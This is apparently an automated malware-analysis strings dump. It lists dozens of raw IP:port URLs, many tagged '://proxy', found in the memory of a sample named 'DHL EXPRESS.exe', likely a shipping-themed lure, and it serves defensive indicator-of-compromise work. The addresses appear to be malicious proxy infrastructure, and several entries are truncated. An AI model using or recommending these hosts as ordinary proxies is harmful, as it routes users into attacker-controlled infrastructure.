Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.185.111.29:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.185.111.29:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.186.8.162:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.186.8.162:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.116.107:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.116.108:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.116.108:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.123.149
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.123.149://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.123.149:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.249.196:1111
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.249.196:1111://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.96.98:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.189.96.98:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.190.54.141:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.190.54.141:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.191.155.62:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.191.155.62:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.252.37:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.195.252.37:83://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.197.71.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.197.71.7://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.197.71.7:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.199.155.18:6969
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.199.155.18:6969://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.199.18.248
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.199.18.248://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.199.18.248:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.200.135.229:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.200.135.229:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.209.68.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.209.68.197:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.209.68.197:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.210.35.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.210.35.40:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.210.35.40:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.211.107.62:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.211.107.62:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.193:45639
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.193:45639://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.201:45639
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.201:45639://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.241:45639
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.212.93.241:45639://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.214.219.23:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.214.219.23:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC354000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.216.49.233:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC321000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.216.49.233:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.216.51.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.216.51.36:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.216.51.36:32650://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.213
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.213.145:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.213.145:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.217.190:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.217.190:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.224
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.224.201:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.217.224.201:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.224.124.75:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.224.124.75:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.224.48.38:31433
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.226.232.188:3125
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.226.232.188:3125://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.227.186.13:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.227.186.13:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.229.85.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.229.85.249:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.229.85.249:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB54C000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.230.49.132:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB55C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.230.49.132:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.177.120:5020
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.177.120:5020://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.248.98:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.248.98:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.78.36://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.231.78.36:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.159
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.159.5:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.159.5:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.24.105:8880
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.24.105:8880://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.26.163:9990
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.26.163:9990://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.27.153:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.27.153:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.28.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.28.211:8181
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.234.28.211:8181://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.24.107.186:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.24.107.186:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.242.105
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.242.105.7:3030
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.242.105.7:3030://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.242.119.88:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.243.114
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.243.114.206:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.243.114.206:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.245.16.133:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.245.16.133:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.245.205
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC3BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.245.205.33:35158
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.245.205.33:35158://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.25.210.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.25.210.102:3382
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.25.210.102:3382://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBF9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADD85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.254.175.181:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.254.175.181:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.255.145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.255.145.62:84
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.255.145.62:84://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.255.147.102:82
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.255.147.102:82://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.26.108.118:84
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.26.108.118:84://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4AB000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.26.129.18:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC50B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.26.129.18:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.28.121.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.28.121.58:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.28.121.58:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.31.84.122:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.31.84.122:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.108.145:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.108.145:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.189.217:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.189.217:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.190.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.190.18:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.35.190.18:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.4.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.4.94.2:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.4.94.2:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.42.228.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.42.228.62:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.42.228.62:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.44.15.193:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.44.15.193:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBE6000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADD53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.46.11.74:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADBF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.46.11.74:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.175.161:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.175.161:83://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.216.19:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.216.19:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.194:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.194:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.219:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.219:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.220:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.220:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD9C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.221:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.221:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.225:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.225:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.231:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.236:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.236:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.242:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.242:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.47.93.25:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.48.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.48.68.101:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.48.68.101:83://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.48.69.113:83
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.48.69.113:83://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.114.195:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.49.114.195:8080://proxy
